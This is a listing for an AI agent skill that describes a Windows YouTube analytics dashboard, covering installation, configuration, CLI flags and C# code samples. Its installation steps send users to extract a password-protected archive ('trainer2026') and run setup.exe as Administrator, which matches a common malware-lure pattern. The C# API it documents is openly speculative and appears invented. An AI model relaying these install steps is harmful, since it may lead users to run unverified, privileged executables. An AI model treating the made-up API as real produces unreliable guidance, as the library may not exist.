Youtube Channel Analytics Dashboard

reason-machines/data-skills/skills/youtube-channel-analytics-dashboard

作者 reason-machines8e7bd5f22574無授權條款4 個星標收錄於 2026年10月8日更新於 2026年10月8日儲存庫2 個月前更新

Dashboard tool for analyzing YouTube channel metrics including views, watch time, subscriber growth, revenue, and audience demographics with real-time data visualization.

AI 產生的概覽

介紹一款用於追蹤 YouTube 頻道觀看數、訂閱者、收益與受眾資料的 Windows 儀表板工具。

功能
此技能介紹一款 Windows 桌面儀表板應用程式,用於 YouTube 頻道分析,涵蓋觀看數、觀看時長、訂閱者成長、收益估算與受眾人口統計。文件說明安裝方式、透過 API 金鑰與環境變數進行設定、命令列匯出選項,以及查詢指標並產生 CSV 或 PDF 報告的程式碼範例。它僅為說明性文件,不附帶任何指令碼或可執行檔。
適用情境
當使用者需要了解如何建置或操作 YouTube 頻道分析儀表板、設定 YouTube Data API v3 存取權,或匯出頻道成效報告時使用。適合用於追蹤頻道訂閱者成長、收益與受眾人口統計的問題。
執行需求
Windows 10/11(64 位元),需 .NET Framework 4.8+ 或 Visual C++ Redistributable,以及 YouTube Data API v3 金鑰與頻道 ID,並需要 youtube.readonly 與 yt-analytics.readonly 的 OAuth 權限範圍。需要連線至 YouTube API 的網路存取。此技能僅包含說明,不含指令碼。

YouTube Channel Analytics Dashboard

Skill by ara.so — Data Skills collection.

Overview

YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface.

Key capabilities:

  • Real-time statistics monitoring (views, subscribers)
  • Historical trend visualization with growth charts
  • Revenue tracking and estimates
  • Audience demographics and geographic mapping
  • Video-level performance analysis
  • Report export (CSV/PDF formats)

Installation

Windows Setup

  1. Download the package from the repository releases
  2. Extract the archive (password: trainer2026)
  3. Run setup.exe as Administrator
  4. Follow the configuration wizard

Requirements

  • OS: Windows 10/11 (64-bit)
  • Runtime: .NET Framework 4.8+ or Visual C++ Redistributable
  • Architecture: x64

Configuration

Create a configuration file config.json in the application directory:

json
{  "youtube": {    "api_key": "${YOUTUBE_API_KEY}",    "channel_id": "${YOUTUBE_CHANNEL_ID}"  },  "refresh_interval": 300,  "data_retention_days": 90,  "export": {    "default_format": "csv",    "output_directory": "./exports"  },  "dashboard": {    "theme": "light",    "auto_refresh": true  }}

Environment Variables

Set these environment variables for API authentication:

bash
YOUTUBE_API_KEY=your_youtube_api_key_hereYOUTUBE_CHANNEL_ID=your_channel_id_hereYOUTUBE_DATA_API_VERSION=v3

Core Functionality

Connecting to YouTube API

The dashboard integrates with YouTube Data API v3. Ensure you have:

  1. A Google Cloud project with YouTube Data API enabled
  2. OAuth 2.0 credentials or API key
  3. Proper scopes: youtube.readonly, yt-analytics.readonly

Key Metrics Tracked

MetricDescriptionUpdate Frequency
ViewsTotal and daily video viewsReal-time
Watch TimeTotal minutes watchedHourly
SubscribersCurrent count and growthReal-time
RevenueEstimated earnings (CPM-based)Daily
DemographicsAge, gender, geographyDaily
EngagementLikes, comments, sharesHourly

Usage Patterns

Launching the Dashboard

bash
# Standard launch.\YouTubeAnalytics.exe
# With custom config.\YouTubeAnalytics.exe --config custom_config.json
# Debug mode.\YouTubeAnalytics.exe --debug --verbose

Command-Line Interface

bash
# Export current analytics to CSV.\YouTubeAnalytics.exe --export csv --output ./reports/analytics.csv
# Export specific date range.\YouTubeAnalytics.exe --export pdf --from 2026-01-01 --to 2026-06-30
# Generate subscriber growth report.\YouTubeAnalytics.exe --report subscribers --period 30d
# Fetch real-time stats only.\YouTubeAnalytics.exe --realtime --format json

API Integration (If Extensible)

If the tool provides a scriptable interface or API:

csharp
using YouTubeAnalytics.Core;using YouTubeAnalytics.Models;
// Initialize the analytics clientvar config = new AnalyticsConfig{    ApiKey = Environment.GetEnvironmentVariable("YOUTUBE_API_KEY"),    ChannelId = Environment.GetEnvironmentVariable("YOUTUBE_CHANNEL_ID"),    RefreshInterval = TimeSpan.FromMinutes(5)};
var client = new YouTubeAnalyticsClient(config);
// Fetch real-time statisticsvar stats = await client.GetRealtimeStatsAsync();Console.WriteLine($"Current Subscribers: {stats.SubscriberCount}");Console.WriteLine($"Total Views: {stats.TotalViews}");
// Get historical datavar history = await client.GetHistoricalDataAsync(    startDate: DateTime.Now.AddDays(-30),    endDate: DateTime.Now,    metrics: new[] { "views", "subscribersGained", "estimatedRevenue" });
// Analyze top performing videosvar topVideos = await client.GetTopVideosAsync(    period: TimePeriod.Last30Days,    metric: VideoMetric.Views,    limit: 10);
foreach (var video in topVideos){    Console.WriteLine($"{video.Title}: {video.Views:N0} views");}
// Export to CSVvar exporter = new DataExporter(client);await exporter.ExportToCsvAsync(    "./exports/monthly_report.csv",    startDate: DateTime.Now.AddMonths(-1),    endDate: DateTime.Now);

Automation Scripts

csharp
// Scheduled daily report generationusing YouTubeAnalytics.Automation;
var scheduler = new ReportScheduler(client);
scheduler.ScheduleDailyReport(    time: new TimeSpan(9, 0, 0), // 9 AM    reportType: ReportType.DailySummary,    recipients: new[] { "[email protected]" },    format: ExportFormat.PDF);
// Alert on subscriber milestonesscheduler.AddAlert(new SubscriberMilestoneAlert{    Milestone = 10000,    NotificationMethod = NotificationMethod.Email,    Recipient = "[email protected]"});

Data Analysis Patterns

Subscriber Growth Analysis

csharp
// Calculate growth ratevar growth = await client.GetSubscriberGrowthAsync(    period: TimePeriod.Last90Days);
var avgDailyGrowth = growth.Sum(d => d.NewSubscribers) / growth.Count;var growthRate = (growth.Last().TotalSubscribers - growth.First().TotalSubscribers)                  / (double)growth.First().TotalSubscribers * 100;
Console.WriteLine($"Average daily growth: {avgDailyGrowth:F1} subscribers");Console.WriteLine($"90-day growth rate: {growthRate:F2}%");

Revenue Tracking

csharp
// Estimate revenue by videovar revenueData = await client.GetRevenueBreakdownAsync(    startDate: DateTime.Now.AddMonths(-1),    endDate: DateTime.Now,    groupBy: RevenueGrouping.ByVideo);
var topEarners = revenueData    .OrderByDescending(v => v.EstimatedRevenue)    .Take(10);
foreach (var video in topEarners){    Console.WriteLine($"{video.Title}: ${video.EstimatedRevenue:F2}");}

Audience Demographics

csharp
// Analyze audience locationvar demographics = await client.GetAudienceDemographicsAsync();
var topCountries = demographics.Geography    .OrderByDescending(g => g.ViewPercentage)    .Take(5);
Console.WriteLine("Top 5 Countries:");foreach (var country in topCountries){    Console.WriteLine($"  {country.Name}: {country.ViewPercentage:F1}%");}
// Age distributionvar ageGroups = demographics.AgeDistribution;Console.WriteLine($"Primary audience age: {ageGroups.MaxBy(a => a.Percentage).AgeRange}");

Dashboard Customization

Creating Custom Views

If the dashboard supports custom panels:

csharp
// Define a custom dashboard layoutvar dashboard = new DashboardLayout();
dashboard.AddPanel(new Panel{    Type = PanelType.LineChart,    Title = "Subscriber Growth",    DataSource = DataSource.SubscriberHistory,    Position = new Position(0, 0),    Size = new Size(2, 1)});
dashboard.AddPanel(new Panel{    Type = PanelType.Gauge,    Title = "Real-time Views",    DataSource = DataSource.RealtimeViews,    Position = new Position(2, 0),    Size = new Size(1, 1)});
dashboard.AddPanel(new Panel{    Type = PanelType.Map,    Title = "Audience Geography",    DataSource = DataSource.Geography,    Position = new Position(0, 1),    Size = new Size(3, 1)});
await dashboard.SaveAsync("custom_layout.json");

Export and Reporting

CSV Export

bash
# Export all metrics.\YouTubeAnalytics.exe --export csv --metrics all --output report.csv
# Export specific metrics.\YouTubeAnalytics.exe --export csv --metrics views,subscribers,revenue --from 2026-01-01

PDF Report Generation

csharp
using YouTubeAnalytics.Reporting;
var reportGenerator = new PdfReportGenerator(client);
var report = await reportGenerator.GenerateAsync(new ReportOptions{    Title = "Monthly Performance Report",    Period = new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),    Sections = new[]    {        ReportSection.Overview,        ReportSection.SubscriberGrowth,        ReportSection.TopVideos,        ReportSection.AudienceDemographics,        ReportSection.RevenueEstimate    },    IncludeCharts = true,    BrandingLogo = "./logo.png"});
await report.SaveAsync("./reports/monthly_report.pdf");

Troubleshooting

API Connection Issues

Problem: Dashboard fails to connect to YouTube API

Solutions:

  • Verify YOUTUBE_API_KEY is set correctly
  • Check API quota limits in Google Cloud Console
  • Ensure YouTube Data API v3 is enabled
  • Verify channel ID format (should start with "UC")
bash
# Test API connection.\YouTubeAnalytics.exe --test-connection --verbose

Missing Data

Problem: Some metrics show no data or zero values

Solutions:

  • Ensure OAuth scopes include yt-analytics.readonly
  • Check date range (revenue data may have 2-3 day delay)
  • Verify channel has sufficient history (minimum 7 days)
  • Re-authenticate if token expired
csharp
// Force data refreshawait client.RefreshAllMetricsAsync(forceUpdate: true);

Export Failures

Problem: CSV/PDF export hangs or fails

Solutions:

  • Check disk space in output directory
  • Reduce date range for large datasets
  • Verify write permissions on output folder
  • Use smaller metric subset
bash
# Export with limited data.\YouTubeAnalytics.exe --export csv --metrics views,subscribers --limit 1000

High Memory Usage

Problem: Dashboard consumes excessive memory with large datasets

Solutions:

  • Reduce data_retention_days in config
  • Enable data pagination for exports
  • Clear cache regularly
json
{  "performance": {    "enable_caching": true,    "cache_max_size_mb": 500,    "auto_cleanup": true  }}

Best Practices

  1. API Quota Management: Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day)
  2. Data Retention: Set appropriate retention periods to balance history vs. performance
  3. Scheduled Exports: Automate weekly/monthly reports for consistent tracking
  4. Multiple Channels: Use separate config files for managing multiple channels
  5. Backup Data: Regularly export historical data before rotating logs

Advanced Features

Webhook Integration

csharp
// Set up webhook for real-time alertsvar webhookConfig = new WebhookConfig{    Url = "https://your-server.com/youtube-webhook",    Events = new[] { "subscriber_milestone", "viral_video", "revenue_threshold" },    Secret = Environment.GetEnvironmentVariable("WEBHOOK_SECRET")};
await client.ConfigureWebhookAsync(webhookConfig);

Comparison Analytics

csharp
// Compare two time periodsvar comparison = await client.ComparePeriodsAsync(    period1: new DateRange(DateTime.Now.AddMonths(-2), DateTime.Now.AddMonths(-1)),    period2: new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),    metrics: new[] { "views", "subscribers", "watchTime" });
Console.WriteLine($"Views change: {comparison.Views.PercentChange:F1}%");Console.WriteLine($"Subscriber change: {comparison.Subscribers.PercentChange:F1}%");

This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.

來源與署名

來源:reason-machines/data-skills位於skills/youtube-channel-analytics-dashboard提交8e7bd5f

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